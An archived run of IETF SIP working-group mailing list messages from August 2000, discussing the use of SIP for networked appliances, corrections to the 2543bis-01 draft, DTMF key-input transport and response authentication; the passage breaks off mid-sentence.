firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0FYV00IF2EUTYR@firewall.mcit.com>; Sun, 06 Aug 2000 12:32:54 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) id <0FYV00401EUTL7@pmismtp01.wcomnet.com>; Sun, 06 Aug 2000 12:32:53 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYV00401EUTL6@pmismtp01.wcomnet.com>; Sun, 06 Aug 2000 12:32:53 +0000 (GMT) Received: from C25776A ([166.46.19.130]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYV00402EUCKI@pmismtp01.wcomnet.com>; Sun, 06 Aug 2000 12:32:38 +0000 (GMT) Date: Sun, 06 Aug 2000 07:32:31 -0500 From: Henry Sinnreich Subject: RE: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt In-reply-to: <4.1.20000805205640.0093b2b0@mailee.research.telcordia.com> To: Stan Moyer , Jonathan Rosenberg , Henning Schulzrinne Cc: "Simon Tsang (Telcordia Technologies)" , sip@lists.bell-labs.com, dmarples@research.telcordia.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit It appears from this mail trail that the reticence for using SIP for appliances are due not from the merit of this use, but rather from philosophical/principles considerations of overloading the use of SIP and "world domination". IMHO let's stick with merit and specifics: There is a solid case as stated by Stan Moyer and others to use SIP for appliances. This discussion has BTW omitted the most common appliance: Phones! :->) Thanks, Henry Henry Sinnreich MCI WorldCom 400 International Parkway Richardson, Texas 75081 USA >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Stan Moyer >Sent: Saturday, August 05, 2000 8:03 PM >To: Jonathan Rosenberg; Henning Schulzrinne >Cc: Simon Tsang (Telcordia Technologies); >sip@lists.bell-labs.com; >dmarples@research.telcordia.com >Subject: Re: [SIP] Comment on >draft-moyer-sip-appliances-framework-00.txt > > >Jonathan, > >Would you still object to using SIP for networked >devices/appliances if we used >another message name? For the longest time we were >ready to propose a new >method that we had been calling KICK for the purpose >of sending a message to a >networked appliance/device. Then when we ready your >impp drafts that proposed >the method MESSAGE, we thought there would be a >benefit to using the same >method/message since the semantics seemed very similar >(or at least we thought >so). The main benefit is that a SIP Proxy and/or SIP >UA stack that supported >Instant Messaging and Presence would also support >networked appliance/device >messaging -- new Proxies and UA stacks would not be >required. This would be >very advantageous in terms of compatibility and interworking. > >But, if you believe that the negatives outweigh the >benefits in this case, we >could be persuaded to create a new method/message (but >at this point in time I >am not convinced). > >-Stan > >Stan Moyer >Director, Internet Services Infrastructure Research >; Telcordia Technologies, >MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 >voice: +1 973 829 4923; fax: +1 973 829 5889 >http://www.argreenhouse.com/bios/stanm/ > >At 05:16 PM 8/4/2000 -0400, Jonathan Rosenberg wrote: >> >> >>Henning Schulzrinne wrote: >>> >>> > Of course it does. You are not displaying them to >a user for the purpose >>> > of messaging and communications. If you are >including content that has >>> > semantic meaning to some upper layer system, its >not a MESSAGE. Its >>> > something else. MESSAGE does not just mean >"deliver this to higher layer >>> > protocol stack". It means a very specific thing - >render this content to >>> > the user, where this rendering is some kind of >communication which might >>> > be responded to. >>> >>> While I'm no fan of overloading names, I don't >think it's quite as clear >>> cut as we'd like. Some considerations: >>> >>> - It's bad if the same type of device (or the same >name) gets two types >>> of messages with very different meaning. This >doesn't seem likely in >>> this case. >> >>What about a TV which acts as a message center? When >a MESSAGE arrives, >>is it a message to be displayed to the person >watching, or a control for >>the device itself? >> >> >>> >>> - We already have different content for INVITE, >distinguished by >>> Content-Disposition. It's a bit a matter of taste >whether to use a >>> different Content-Disposition or a different >message. Thus, you >>> definitely need a different Content-Disposition, >other than render. >> >>True, but in no case does the content of the message alter the >>underlying semantics of the method or response code. >It always provides >>additional information that qualifies it. Here, its >fundamentally >>altering what happens to it. >> >>> >>> - Having the same message makes sense if filtering, >for example, would >>> likely be the same for both. >> >>These things serve much different functions. I think >its likely you >>would have very different policies for filtering them. >> >>> In summary, I think either a new message type or >MESSAGE can be made to >>> work as long as the type of content is labeled >clearly, not just in >>> terms of syntax but also semantics. >> >>This introduces yet another place an implementation >needs to look at to >>figure out what the purpose of the message is. Method >is for that >>purpose. >> >> >>-Jonathan R. >> >>-- >>Jonathan D. Rosenberg 72 Eagle Rock Ave. >>Chief Scientist First Floor >>dynamicsoft East >Hanover, NJ 07936 >>jdrosen@dynamicsoft.com FAX: >(973) 952-5050 >>http://www.cs.columbia.edu/~jdrosen PHONE: >(732) 741-7244 >>http://www.dynamicsoft.com >> >> >>_______________________________________________ >>SIP mailing list >>SIP@lists.bell-labs.com >>http://lists.bell-labs.com/mailman/listinfo/sip > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 08:42:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA28443 for ; Sun, 6 Aug 2000 08:42:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A84064434A; Sun, 6 Aug 2000 08:41:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from roma.axis.se (roma.axis.se [193.13.178.2]) by lists.bell-labs.com (Postfix) with ESMTP id 42C7544339 for ; Sun, 6 Aug 2000 08:41:28 -0400 (EDT) Received: from saur.axis.se (IDENT:root@saur.axis.se [171.16.116.30]) by roma.axis.se (8.9.3/8.9.3) with ESMTP id OAA29139 for ; Sun, 6 Aug 2000 14:41:18 +0200 (MEST) Received: from saur (IDENT:pkj@localhost [127.0.0.1]) by saur.axis.se (8.9.3/8.8.8) with ESMTP id OAA28868 for ; Sun, 6 Aug 2000 14:41:16 +0200 Message-Id: <200008061241.OAA28868@saur.axis.se> X-Mailer: exmh version 2.0.2 To: sip@lists.bell-labs.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 06 Aug 2000 14:41:16 +0200 From: Peter Kjellerstedt Subject: [SIP] Yet some more inconsistencies Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Here are three more inconsistencies I have found in the 2543bis-01 draft: 1) In 3 (SIP Message Overview): MIME-Version, Alert-Info and Call-Info are missing from table 3. 2) In 6 (Header Field Definitions): According to table 3 Authorization is a request header, and WWW-Authenticate is a response header. This also corresponds to their respective texts describing them. However, in table 4 and 5 both Authorization and WWW-Authenticate are listed as acceptable in both requests and responses. 3) In 11.2 (Behavior of SIP User Agents: Callee Issues Response): It is stated that the Contact header MAY be present. If I am not mistaken this should be changed to MUST for final responses to an INVITE. //Peter ------------------------------------------------------------ Peter Kjellerstedt E-Mail: Peter.Kjellerstedt@axis.com Axis Communications AB Phone: +46 46 272 18 69 Scheelevagen 34 Fax: +46 46 13 61 30 SE-223 63 LUND URL: http://www.axis.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 11:03:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22824 for ; Sun, 6 Aug 2000 11:03:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4B06F44339; Sun, 6 Aug 2000 11:03:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 29BD744336 for ; Sun, 6 Aug 2000 11:03:46 -0400 (EDT) Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA10607; Sun, 6 Aug 2000 11:03:45 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by opus.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA03427; Sun, 6 Aug 2000 11:03:45 -0400 (EDT) Message-ID: <398D7E50.3F4ED897@cs.columbia.edu> Date: Sun, 06 Aug 2000 11:03:44 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Peter Kjellerstedt Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Yet some more inconsistencies References: <200008061241.OAA28868@saur.axis.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Peter Kjellerstedt wrote: > > Here are three more inconsistencies I have found in the 2543bis-01 > draft: > > 1) In 3 (SIP Message Overview): > > MIME-Version, Alert-Info and Call-Info are missing from table 3. Added (these headers were tentatively added, pending WG consensus). > > 2) In 6 (Header Field Definitions): > > According to table 3 Authorization is a request header, and > WWW-Authenticate is a response header. This also corresponds > to their respective texts describing them. However, in table 4 > and 5 both Authorization and WWW-Authenticate are listed as > acceptable in both requests and responses. This raises a larger issue, namely response authentication. One possibility which was discussed during the IETF meeting was to transition to MIME-based security, using S/MIME (RFC 2311) or MIME-PGP (RFC 2015). In that mode, both requests and responses can be treated the same. However, since SIP needs to sign and encrypt headers as well as message bodies, you end up with something like INVITE ... From: ... To: ... Mime-Version: 1.0 Content-Type: multipart/encrypted; boundary=foo; protocol="application/pgp-encrypted" --foo Content-Type: application/pgp-encrypted Version: 1 --foo Content-Type: application/octet-stream -----BEGIN PGP MESSAGE----- Version: 2.6.2 [some encrypted message] -----END PGP MESSAGE----- where [some encrypted message] would be again a SIP message. From what I can tell, the data to be encrypted looks something like Content-Type: message/sip INVITE ... repeating all important headers [SDP] body For basic and digest, authorization makes sense both ways and should be symmetric. This clearly needs to be fleshed out; I doubt that anybody actually implements response authorization at this point. > > 3) In 11.2 (Behavior of SIP User Agents: Callee Issues Response): > > It is stated that the Contact header MAY be present. If I > am not mistaken this should be changed to MUST for final > responses to an INVITE. > Fixed. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 12:21:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15487 for ; Sun, 6 Aug 2000 12:21:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B815D44341; Sun, 6 Aug 2000 12:21:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by lists.bell-labs.com (Postfix) with ESMTP id 93D8B44336 for ; Sun, 6 Aug 2000 12:21:30 -0400 (EDT) Received: from computer.ix.netcom.com (pool-209-138-11-7.ipls.grid.net [209.138.11.7]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id MAA17700; Sun, 6 Aug 2000 12:21:20 -0400 (EDT) Message-Id: <4.3.1.2.20000806110729.00ce0ea0@127.0.0.1> X-Sender: rshockey/popd.ix.netcom.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Sun, 06 Aug 2000 11:17:18 -0500 To: Henning Schulzrinne , Skip Cave From: Richard Shockey Subject: Re: [SIP] DTMF and Universal Key Input Cc: sip@lists.bell-labs.com, skipcave@connect.net In-Reply-To: <398C27A4.EAA1C38D@cs.columbia.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 10:41 AM 8/5/2000 -0400, Henning Schulzrinne wrote: >It's not that I think that key(board) input will go away, just that it >won't be 12 buttons with numbers and */#. The notion that this is in any >way tied to telephone service will go away. We'll obviously have lots of >key input. It's the web now, both forms (including speech input) and >applets, telnet/ssh/rlogin, IM, irc and maybe other mechanisms. > >Why tie remote key(board) input to SIP or VoIP? If telnet (and kin) or >web-based input modalities are not good enough, we need to discuss this, >but that has nothing whatsoever to do with VoIP. SIP may or may not be >the appropriate solution there. I don't want to SUBSCRIBE to the >keyboard, I want to have an appropriate interaction with an abstract >user interface that is far richer. For simple ASCII, telnet will >probably do the trick (or the WAP "card" mode, if you like that model). For what its worth I completely agree with Skip here on the use of 12d keypads in applications. These classes of terminals will not go away and will only increase in usage for several reasons particularly mobile. 1. The use of E.164 numbering to identify SIP endpoints ( aka The ENUM WG , since I'm co-chair I need to get a small ad in here) and E.164 numbering is Globally Unique. 2. As Skip rightly pointed out numbers are Linguistically Neutral ..something the IETF is still trying to deal with in IDN. 3. Numbers are "domain less" addressing. 4. I continue to hear arguments about voice recognition taking over but I've heard these arguments for 10 years now and DTMF imput for applications just gets bigger and bigger. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Richard Shockey Senior Technical Industry Liaison NeuStar Inc. 1120 Vermont Avenue N.W. Suite 550 Washington DC. 20005 Voice 314.503.0640 Fax to EMail 815.333.1237 (Preferred for Fax) DC Number 202.533.2811 INTERNET Mail & IFAX : rich.shockey@neustar.com or rshockey@ix.netcom.com http://www.neustar.com <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 14:34:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA14905 for ; Sun, 6 Aug 2000 14:34:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CA1EB44341; Sun, 6 Aug 2000 14:34:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from adsl-151-203-17-31.bellatlantic.net (adsl-151-203-17-31.bellatlantic.net [151.203.17.31]) by lists.bell-labs.com (Postfix) with ESMTP id 8A52644336 for ; Sun, 6 Aug 2000 14:33:58 -0400 (EDT) Received: from localhost (scott.petrack@localhost) by adsl-151-203-17-31.bellatlantic.net (8.9.3/8.9.3) with ESMTP id OAA05479; Sun, 6 Aug 2000 14:48:00 -0400 X-Authentication-Warning: adsl-151-203-17-31.bellatlantic.net: scott.petrack owned process doing -bs Date: Sun, 6 Aug 2000 14:47:58 -0400 (EDT) From: Scott Petrack X-Sender: scott.petrack@adsl-151-203-17-31.bellatlantic.net To: Richard Shockey Cc: Henning Schulzrinne , Skip Cave , sip@lists.bell-labs.com, skipcave@connect.net Subject: Re: [SIP] DTMF and Universal Key Input In-Reply-To: <4.3.1.2.20000806110729.00ce0ea0@127.0.0.1> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com the point is not which one will take over the world. The point is that the applications are similar in many many cases. Today the user experience is that s/he can press '1' or say 'yes' Now it's just not really relevant that 99% of the people press '1' and 1% say 'yes.' Nor is it relevant that there will be many places where one can only press '1'. What is relevant is that the INFORMATION to be encoded and transported is IDENTICAL, whether '1' is pressed or 'yes' is said. So from the presentation layer down to the transport layer, it's hard to see why we need two different methods. I got the impression that Skip and others wanted to enable the Internet and Internet-connected devices to offer the same key input service that the PSTN and PSTN devices offer today. Well, today, whether '1' is pressed or 'yes' is said, the real-time data is transported to a remote device and gets interpreted into a 'user input command'. The point of people who identify voice reco with key input is that it is a recipe for trouble if these two end-user events get transported in two completely different ways. If you need the keypress to be transported along the signalling path, then you also need the "yes" to be transported along the signaling path. And the encoding should also be as similar as possible, since the information to be encoded and transported is similar. In both cases the data should be encoded and transported as RTP, because this is the only way you will get the same key input service that you have today. It is the only way to put saying 'yes' and pressing '1' on an equal footing, where they need to be. If you want to build an IVR controlled signaling point, it is no problem at all: the first answer to the SIP INVITE points to a host that can receive ONLY the DTMF payload type, no other. At this point, the calling phone can receive prompts via G.xxx ordinary audio, and the calling phone can only send DTMF back (because that's the only codec the answerer supports). This host might well be a signalling server. It is hardly rocket science to build an RTP stack which supports the DTMF codec only. After some DTMF, the session can be modified so that the call is transferred to another host which can handle the proper audio codecs. This is the translation into IP telephony of the service which exists today, which as far as I understand, is the requirement. What is the problem with this solution? Is the problem that the signaling server now has to understand DTMF-in-RTP, this is really not a very difficult codec to master, and surely we all prefer to have one way of doing one thing than having two or three? In addition, I'll bet that you'll find it really useful to be able to have multiple receivers for the DTMF, etc. all the standard RTP services for this audio signaling. It may well be that there is a need for some new signaling to tell a device to go into key input mode, or to send the DTMF codecs to one place and the ordinary audio to another, or something. But these needs have nothing to do with the encoding or transport of the information, it seems to me. Scott Petrack http://800.edial.com/scott.petrack@edial.com On Sun, 6 Aug 2000, Richard Shockey wrote: > At 10:41 AM 8/5/2000 -0400, Henning Schulzrinne wrote: > >It's not that I think that key(board) input will go away, just that it > >won't be 12 buttons with numbers and */#. The notion that this is in any > >way tied to telephone service will go away. We'll obviously have lots of > >key input. It's the web now, both forms (including speech input) and > >applets, telnet/ssh/rlogin, IM, irc and maybe other mechanisms. > > > >Why tie remote key(board) input to SIP or VoIP? If telnet (and kin) or > >web-based input modalities are not good enough, we need to discuss this, > >but that has nothing whatsoever to do with VoIP. SIP may or may not be > >the appropriate solution there. I don't want to SUBSCRIBE to the > >keyboard, I want to have an appropriate interaction with an abstract > >user interface that is far richer. For simple ASCII, telnet will > >probably do the trick (or the WAP "card" mode, if you like that model). > > For what its worth I completely agree with Skip here on the use of 12d > keypads in applications. These classes of terminals will not go away and > will only increase in usage for several reasons particularly mobile. > > 1. The use of E.164 numbering to identify SIP endpoints ( aka The ENUM WG , > since I'm co-chair I need to get a small ad in here) and E.164 numbering is > Globally Unique. > > 2. As Skip rightly pointed out numbers are Linguistically Neutral > ..something the IETF is still trying to deal with in IDN. > > 3. Numbers are "domain less" addressing. > > 4. I continue to hear arguments about voice recognition taking over but > I've heard these arguments for 10 years now and DTMF imput for applications > just gets bigger and bigger. > > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > Richard Shockey > Senior Technical Industry Liaison > NeuStar Inc. > 1120 Vermont Avenue N.W. > Suite 550 > Washington DC. 20005 > Voice 314.503.0640 > Fax to EMail 815.333.1237 (Preferred for Fax) > DC Number 202.533.2811 > INTERNET Mail & IFAX : rich.shockey@neustar.com > or rshockey@ix.netcom.com > http://www.neustar.com > > <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 17:29:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27127 for ; Sun, 6 Aug 2000 17:29:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8254844344; Sun, 6 Aug 2000 17:28:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 0586244336 for ; Sun, 6 Aug 2000 17:28:22 -0400 (EDT) Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA24398; Sun, 6 Aug 2000 17:28:21 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by opus.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA08992; Sun, 6 Aug 2000 17:28:20 -0400 (EDT) Message-ID: <398DD874.54A3EC45@cs.columbia.edu> Date: Sun, 06 Aug 2000 17:28:20 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Peter Kjellerstedt Cc: sip@lists.bell-labs.com Subject: Re: [SIP] More inconsistencies and questions References: <200008031608.SAA17359@saur.axis.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Peter Kjellerstedt wrote: > > Here are a couple of more inconcistencies and questions, > this time vs the 2543bis-01 draft (July 26). Thanks for your comments. > > 1) In 2 (SIP Uniform Resource Locators): > > The "np-queried" value for the user parameter is no longer > present in the SIP-URL syntax, but it is still referenced > in the text about telephone-subscriber. Removed. > > 2) In 6.38 (Route): > > The syntax for Route was not uppdated along the changes > made to the syntax of Record-Route. Fixed. > > > 5) In 6.47.5 (Via: Syntax): > > Should not SCTP and TLS be specified for the transport > rule too (they are after all defined for the SIP-URL)? Added. > > 6) In 10.1 (Behavior of SIP Clients and Servers: General Remarks): > > Should not SCTP and TLS be mentioned too, or maybe this > needs a total check throughout the draft? Generalized in Section 10. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 17:31:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27554 for ; Sun, 6 Aug 2000 17:31:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5A8E544351; Sun, 6 Aug 2000 17:30:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 3FE2444336 for ; Sun, 6 Aug 2000 17:30:15 -0400 (EDT) Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA24493; Sun, 6 Aug 2000 17:30:14 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by opus.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA09067; Sun, 6 Aug 2000 17:30:13 -0400 (EDT) Message-ID: <398DD8E5.3AE91EA@cs.columbia.edu> Date: Sun, 06 Aug 2000 17:30:13 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: Peter Kjellerstedt , sip@lists.bell-labs.com Subject: Re: [SIP] More inconsistencies and questions References: <200008031608.SAA17359@saur.axis.se> <3989B05C.D887363A@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > > > > 4) In 6.47.4 (Via: User Agent and Redirect Servers): > > > > Is it not better to use the existing TCP connection also if > > the address in the "sent-by" value differs from the source > > address of the packet (i.e., the same as mentioned under the > > third bullet)? This would effectivly result in adding a > > new bullet after the first stating to use the existing TCP > > connection if available (and removing that text from the > > third bullet). > > I agree. Text reworded. Please check the August 6 edition of the spec, available later today. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 21:08:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20488 for ; Sun, 6 Aug 2000 21:08:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B652A4434C; Sun, 6 Aug 2000 21:08:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id DC86744336 for ; Sun, 6 Aug 2000 21:08:37 -0400 (EDT) Received: from SUPERBEE (user164.imagin.net [207.18.228.164]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id VAA00881; Sun, 6 Aug 2000 21:09:53 -0400 (EDT) From: "Ben Campbell" To: "Henning Schulzrinne" Cc: Subject: RE: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt Date: Sun, 6 Aug 2000 20:07:06 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal In-Reply-To: <398CC9F2.13483AD2@cs.columbia.edu> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Henning, Thanks for the clarification. In my mind, the controversy over the appliances draft, is that it proposes to use SIP and the event extensions as a general purpose process to process message passing and event protocol. Or if not general purpose, then at least for the fairly broad category of device control. Do you see this as true? I have difficulty deciding whether this is a good or bad thing. Past attempts of the IETF to work on general purpose event mechanisms has gone nowhere, with the general reason (excuse?) that the requirements for event mechanisms are too varied for one protocol to support them. Now that we propose to add event extensions to SIP, I expect to see a wave of application proposals to use SIP as the general purpose approach. I for one believe we _do_ need one or more general purpose event protocols, and am willing to _consider_ using SIP for that purpose. I am not so concerned that such use would actually harm SIP; I just wonder if it is the best for the job. The questions I would like to see considered are the following: 1. Is SIP (with event and message extensions) an appropriate platform for general event and message applications, particularly in a device to device or human to device model. 2. For a given application of said extensions, how do we decide whether it is a good fit? For example, what if instead of refrigerators and lamps, we proposed to control and monitor medical equipment or industrial processes? > -----Original Message----- > From: sip-admin@lists.bell-labs.com > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Henning Schulzrinne > Sent: Saturday, August 05, 2000 9:14 PM > To: Ben Campbell > Cc: sip@lists.bell-labs.com > Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt > > > [Trimming the cc list since I suspect that everyone is on the sip > mailing list] > > > > > > I still don't understand the harm to SIP even if mobility is > rare right > > > now (with suitable authentication, devices in cars may be > quite usefully > > > be accessed remotely, e.g., for maintenance and diagnostic purposes). > > > Web clients are very hard to automate and script, so I don't > see this as > > > a viable alternative in all cases. > > > > > Hi Henning, > > > > I am not sure what you mean by the last sentence. You assert that web > > clients are not always the best solution because they can be hard to > > automate. Do you intend imply that SIP clients are somehow easier to > > automate, and therefore a better solution in those cases? I'm not sure I > > understand your point. > > > > Web interaction relies on forms input, either as PUT or GET (? query). > Web forms are generally designed as HTML forms. Only GET can generally > be bookmarked, with a very limited expressiveness and kludgey syntax. > (And GET is not supposed to change the state of the resource, while that > is clearly what you want to do for a control mechanism. Also, see the > dislike for SOAP expressed elsewhere...) > > Appliance control, in my view, will be a combination of automated agents > and human interaction. I would even guess that many larger appliances > will have both a web server and a more message-based mechanism. For > small appliances, having a UDP-only mechanism has distinct complexity > advantages. > > In addition, in a kind of strange reversal of roles, while HTTP could > conceivably be used for retrieval of state and (mostly human) > configuration, it offers no notification mechanism. Thus, since > notification is an inherent feature of devices, it is convenient to have > the same protocol to both directions. > > It might also be relevant to note that 